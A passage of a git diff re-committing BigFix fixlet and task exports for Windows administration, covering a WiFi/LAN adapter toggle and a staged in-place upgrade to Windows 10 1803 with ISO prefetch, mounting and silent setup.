+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Alpha code - does not accomodate multiple wifi adapters
+wait netsh interface set interface &quot;{string value of select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; of WMI}&quot; admin=disable
+wait ipconfig /release
+wait ipconfig /renew</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and enable (24608).bes b/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and enable (24608).bes
index 64565a4d2..72b7a6bc8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and enable (24608).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and enable (24608).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Wifi + LAN Detect and enable
-  ID       : 24608
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-08-08T13:13:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Wifi + LAN Detect and enable</Title>
-    <Description><![CDATA[Detects if there is no longer an active LAN network connection and a&nbsp;disabled WIFI network connection. If the LAN connection is gone,&nbsp;the action will enable the WIFI adapter. ]]></Description>
-    <Relevance>(exists  select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;FALSE&apos; and PhysicalAdapter=&apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; whose (string value of it != &quot;&quot;) of WMI) AND (NOT exists adapter whose (not exists wifi of it and gateway of it as string!= &quot;0.0.0.0&quot; and address of it as string!= &quot;0.0.0.0&quot;) of network)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-08-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 08 Aug 2017 20:10:19 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Alpha code - does not accomodate multiple wifi adapters
-wait netsh interface set interface &quot;{string value of select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;FALSE&apos; and PhysicalAdapter=&apos;TRUE&apos; and  ServiceName = &apos;NETwNb64&apos;&quot; of WMI}&quot; admin=enable
-wait ipconfig /release
-wait ipconfig /renew</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Wifi + LAN Detect and enable
+  ID       : 24608
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-08-08T13:13:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Wifi + LAN Detect and enable</Title>
+    <Description><![CDATA[Detects if there is no longer an active LAN network connection and a&nbsp;disabled WIFI network connection. If the LAN connection is gone,&nbsp;the action will enable the WIFI adapter. ]]></Description>
+    <Relevance>(exists  select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;FALSE&apos; and PhysicalAdapter=&apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; whose (string value of it != &quot;&quot;) of WMI) AND (NOT exists adapter whose (not exists wifi of it and gateway of it as string!= &quot;0.0.0.0&quot; and address of it as string!= &quot;0.0.0.0&quot;) of network)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 08 Aug 2017 20:10:19 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Alpha code - does not accomodate multiple wifi adapters
+wait netsh interface set interface &quot;{string value of select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;FALSE&apos; and PhysicalAdapter=&apos;TRUE&apos; and  ServiceName = &apos;NETwNb64&apos;&quot; of WMI}&quot; admin=enable
+wait ipconfig /release
+wait ipconfig /renew</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE1__Stage Installation Files (25518).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE1__Stage Installation Files (25518).bes
index 1b2c77205..b1081ca74 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE1__Stage Installation Files (25518).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE1__Stage Installation Files (25518).bes	
@@ -1,92 +1,92 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : ~Win10-1803::STAGE1::Stage Installation Files
-  ID       : 25518
-  Author   : Ken
-  Domain   : BESC
-  Imported : 2018-06-06T11:39:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>~Win10-1803::STAGE1::Stage Installation Files</Title>
-    <Description><![CDATA[<DIV class=FixletMessage>
-<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
-<DIV class=FixletMessage>
-<UL>
-<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
-<P>Win10-1803::STAGE2::INSTALL</P>
-<UL>
-<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
-<P>Win10-1803::STAGE3::Cleanup</P>
-<UL>
-<LI>Removes the Stage Installation Files</LI></UL></DIV>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
-    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
-    <Relevance>operating system as string does not contain &quot;1803&quot;</Relevance>
-    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
-    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Relevance>if exists key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry and exists value &quot;ClearCaseMajorVersion&quot; of key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry then False else True</Relevance>
-    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then false else true</Relevance>
-    <Category>Upgrade</Category>
-    <Source>Microsoft</Source>
-    <SourceID>Unspecified</SourceID>
-    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>Unspecified</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product-family</Name>
-      <Value>Windows</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>no-relevance-health-check</Name>
-      <Value>false</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product</Name>
-      <Value>Win10</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-component</Name>
-      <Value>Unspecified</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 Jun 2018 17:41:14 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>to execute this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Stage
-begin prefetch block
-  add prefetch item name =SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO sha1=28681742fe850aa4bfc7075811c5244b61d462cf size=4594878464 url={value of setting "_BESClient_AllowCustomRepoDownloads" of client   | "http://MANUAL_BES_CACHING_REQUIRED/"}SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO sha256=5E3C375380CF322DC6F82FB5CC04FBA357F275FE39212620591E14F1AF2D912C
-end prefetch block
-
-//CLEANUP any old attempts
-waithidden "{pathname of system folder & "\cmd.exe"}" /C rmdir "c:\temp\Win10" /S /Q
-
-//create new installation folders
-if {not exist folder "c:\temp"}
-	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp"
-endif
-
-if {not exist folder "c:\temp\Win10"}
-	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp\Win10"
-endif
-
-move __Download\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO "c:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO"]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1803::STAGE1::Stage Installation Files
+  ID       : 25518
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2018-06-06T11:39:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1803::STAGE1::Stage Installation Files</Title>
+    <Description><![CDATA[<DIV class=FixletMessage>
+<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1803::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
+<P>Win10-1803::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL></DIV>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
+    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
+    <Relevance>operating system as string does not contain &quot;1803&quot;</Relevance>
+    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
+    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>if exists key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry and exists value &quot;ClearCaseMajorVersion&quot; of key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry then False else True</Relevance>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then false else true</Relevance>
+    <Category>Upgrade</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win10</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 Jun 2018 17:41:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to execute this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Stage
+begin prefetch block
+  add prefetch item name =SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO sha1=28681742fe850aa4bfc7075811c5244b61d462cf size=4594878464 url={value of setting "_BESClient_AllowCustomRepoDownloads" of client   | "http://MANUAL_BES_CACHING_REQUIRED/"}SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO sha256=5E3C375380CF322DC6F82FB5CC04FBA357F275FE39212620591E14F1AF2D912C
+end prefetch block
+
+//CLEANUP any old attempts
+waithidden "{pathname of system folder & "\cmd.exe"}" /C rmdir "c:\temp\Win10" /S /Q
+
+//create new installation folders
+if {not exist folder "c:\temp"}
+	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp"
+endif
+
+if {not exist folder "c:\temp\Win10"}
+	waithidden "{pathname of system folder & "\cmd.exe"}" /C mkdir "c:\temp\Win10"
+endif
+
+move __Download\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO "c:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO"]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE2__Install (25519).bes b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE2__Install (25519).bes
index 9ed7b5654..307cafe09 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE2__Install (25519).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Win10-1803__STAGE2__Install (25519).bes	
@@ -1,134 +1,134 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : ~Win10-1803::STAGE2::Install
-  ID       : 25519
-  Author   : Ken
-  Domain   : BESC
-  Imported : 2018-06-06T11:41:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>~Win10-1803::STAGE2::Install</Title>
-    <Description><![CDATA[<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
-<DIV class=FixletMessage>
-<UL>
-<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
-<P>Win10-1803::STAGE2::INSTALL</P>
-<UL>
-<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
-<P>Win10-1803::STAGE3::Cleanup</P>
-<UL>
-<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
-    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
-    <Relevance>operating system as string does not contain &quot;1803&quot;</Relevance>
-    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
-    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
-    <Relevance>if exists key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry and exists value &quot;ClearCaseMajorVersion&quot; of key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry then False else True</Relevance>
-    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then true else false</Relevance>
-    <Category>Upgrade</Category>
-    <Source>Microsoft</Source>
-    <SourceID>Unspecified</SourceID>
-    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>Unspecified</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>no-relevance-health-check</Name>
-      <Value>false</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product-family</Name>
-      <Value>Windows</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-component</Name>
-      <Value>Unspecified</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product</Name>
-      <Value>Win10</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 Jun 2018 17:41:40 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>to execute this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-//Start inplace upgrade
-if {free space of drive of client > 5000000000}
-
-parameter "workISO" = "C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO"
-continue if {exists file (parameter "workISO")}
-continue if {sha1 of file (parameter "workISO") = "28681742fe850aa4bfc7075811c5244b61d462cf"}
-
-// prepare a workpath to temporary files.
-parameter "workPath" = "{(value of variable "SystemDrive" of environment) & "\win10_upgrade_temp"}"
-waithidden cmd /C rmdir /S /Q "{parameter "workPath"}"
-waithidden cmd /C mkdir "{parameter "workPath"}"
-
-// Create the cleanup file.
-delete __appendfile
-delete setupcomplete.cmd
-
-appendfile @echo off
-appendfile SET WindowsISO="{parameter "workISO"}"
-// appendfile powershell.exe "Dismount-DiskImage ""%WindowsISO%"""
-// appendfile rmdir /S /Q "{parameter "workPath"}"
-
-move __appendfile setupcomplete.cmd
-
-
-// Create a debug invocation batch to help in case of failures.
-// This batch does not perform an update but with the scanonly option allows you to determine what the problem is.
-delete __appendfile
-
-appendfile @echo off
-appendfile SET WindowsISO="{parameter "workISO"}"
-appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO %%I:\setup.exe /auto upgrade /Compat ScanOnly /DynamicUpdate disable"
-appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
-
-move __appendfile "{(parameter "workPath") & "/upgradeCheck.bat"}"
-
-// Create the actual invocation script
-// Sleep and Dir were added or command would fail with %errorlevel%	183. Possibly a delay on mount.
-delete __appendfile
-delete mount.and.install.bat
-
-appendfile @echo on
-appendfile SET WindowsISO="{parameter "workISO"}"
-appendfile powershell.exe "Mount-DiskImage ""%WindowsISO%"""
-appendfile TIMEOUT 10
-appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO dir %%I: > "{parameter "workPath"}\dir.log" && %%I:\setup.exe /auto upgrade /Quiet /DynamicUpdate disable /postoobe "{pathname of client folder of current site & "\setupcomplete.cmd"}"
-appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
-move __appendfile mount.and.install.bat
-
-wait mount.and.install.bat > "{parameter "workPath"}\cmd.log"
-
-wait setupcomplete.cmd >"{parameter "workPath"}\setupcomplete.log"
-
-// setup must finish with RC=0 at this stage if things are ok. If that is not the case content of C:\"\win10_upgrade_temp dir holds useful info.
-// Apart from log files, you can run upgradeCheck manually to check with the UI what the problem is.
-
-action requires restart "28681742fe850aa4bfc7075811c5244b61d462cf"
-endif
-
-]]></ActionScript>
-      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : ~Win10-1803::STAGE2::Install
+  ID       : 25519
+  Author   : Ken
+  Domain   : BESC
+  Imported : 2018-06-06T11:41:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>~Win10-1803::STAGE2::Install</Title>
+    <Description><![CDATA[<P class=FixletMessage>Win10-1803::STAGE1::Stage Installation Files</P>
+<DIV class=FixletMessage>
+<UL>
+<LI>Stage all required installation files to "c:\temp\Win10"&nbsp; (Precache for future deployment)</LI></UL></DIV>
+<P>Win10-1803::STAGE2::INSTALL</P>
+<UL>
+<LI>Perform inplace upgrade to Window 10&nbsp;1803</LI></UL>
+<P>Win10-1803::STAGE3::Cleanup</P>
+<UL>
+<LI>Removes the Stage Installation Files</LI></UL>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>x64 of operating system AND not ia64 of operating system</Relevance>
+    <Relevance>(it starts with &quot;Win&quot; AND it does not start with &quot;Win20&quot;) of name of operating system AND (exists value &quot;CurrentMajorVersionNumber&quot; of it AND value &quot;CurrentMajorVersionNumber&quot; of it as integer = 10) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>exists regapp &quot;powershell.exe&quot;</Relevance>
+    <Relevance>operating system as string does not contain &quot;1803&quot;</Relevance>
+    <Relevance>system ui language as string as lowercase = &quot;English (United States)&quot; as lowercase</Relevance>
+    <Relevance>exists value &quot;EditionID&quot; whose (it as string as lowercase = &quot;EducationN&quot; as lowercase OR it as string as lowercase = &quot;Education&quot; as lowercase OR it as string as lowercase = &quot;ProfessionalN&quot; as lowercase OR it as string as lowercase = &quot;Professional&quot; as lowercase OR it as string as lowercase = &quot;EnterpriseN&quot; as lowercase OR it as string as lowercase = &quot;Enterprise&quot; as lowercase) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry</Relevance>
+    <Relevance>if exists key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry and exists value &quot;ClearCaseMajorVersion&quot; of key &quot;HKLM\SOFTWARE\Atria\ClearCase\CurrentVersion&quot; of registry then False else True</Relevance>
+    <Relevance>if exist file &quot;C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO&quot; then true else false</Relevance>
+    <Category>Upgrade</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-10-17</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 02 Nov 2017 11:52:26 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>no-relevance-health-check</Name>
+      <Value>false</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Win10</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 Jun 2018 17:41:40 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>to execute this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+//Start inplace upgrade
+if {free space of drive of client > 5000000000}
+
+parameter "workISO" = "C:\temp\Win10\SW_DVD5_Win_Pro_Ent_Edu_N_10_1803_64BIT_English_-2_MLF_X21-79647.ISO"
+continue if {exists file (parameter "workISO")}
+continue if {sha1 of file (parameter "workISO") = "28681742fe850aa4bfc7075811c5244b61d462cf"}
+
+// prepare a workpath to temporary files.
+parameter "workPath" = "{(value of variable "SystemDrive" of environment) & "\win10_upgrade_temp"}"
+waithidden cmd /C rmdir /S /Q "{parameter "workPath"}"
+waithidden cmd /C mkdir "{parameter "workPath"}"
+
+// Create the cleanup file.
+delete __appendfile
+delete setupcomplete.cmd
+
+appendfile @echo off
+appendfile SET WindowsISO="{parameter "workISO"}"
+// appendfile powershell.exe "Dismount-DiskImage ""%WindowsISO%"""
+// appendfile rmdir /S /Q "{parameter "workPath"}"
+
+move __appendfile setupcomplete.cmd
+
+
+// Create a debug invocation batch to help in case of failures.
+// This batch does not perform an update but with the scanonly option allows you to determine what the problem is.
+delete __appendfile
+
+appendfile @echo off
+appendfile SET WindowsISO="{parameter "workISO"}"
+appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO %%I:\setup.exe /auto upgrade /Compat ScanOnly /DynamicUpdate disable"
+appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
+
+move __appendfile "{(parameter "workPath") & "/upgradeCheck.bat"}"
+
+// Create the actual invocation script
+// Sleep and Dir were added or command would fail with %errorlevel%	183. Possibly a delay on mount.
+delete __appendfile
+delete mount.and.install.bat
+
+appendfile @echo on
+appendfile SET WindowsISO="{parameter "workISO"}"
+appendfile powershell.exe "Mount-DiskImage ""%WindowsISO%"""
+appendfile TIMEOUT 10
+appendfile FOR /F "skip=3" %%I IN ('powershell.exe "Get-DiskImage """%WindowsISO%""" | Get-Volume | Select-Object {{$_.DriveLetter}"') DO dir %%I: > "{parameter "workPath"}\dir.log" && %%I:\setup.exe /auto upgrade /Quiet /DynamicUpdate disable /postoobe "{pathname of client folder of current site & "\setupcomplete.cmd"}"
+appendfile echo %errorlevel% > "{parameter "workPath"}\out.log"
+move __appendfile mount.and.install.bat
+
+wait mount.and.install.bat > "{parameter "workPath"}\cmd.log"
+
+wait setupcomplete.cmd >"{parameter "workPath"}\setupcomplete.log"
+
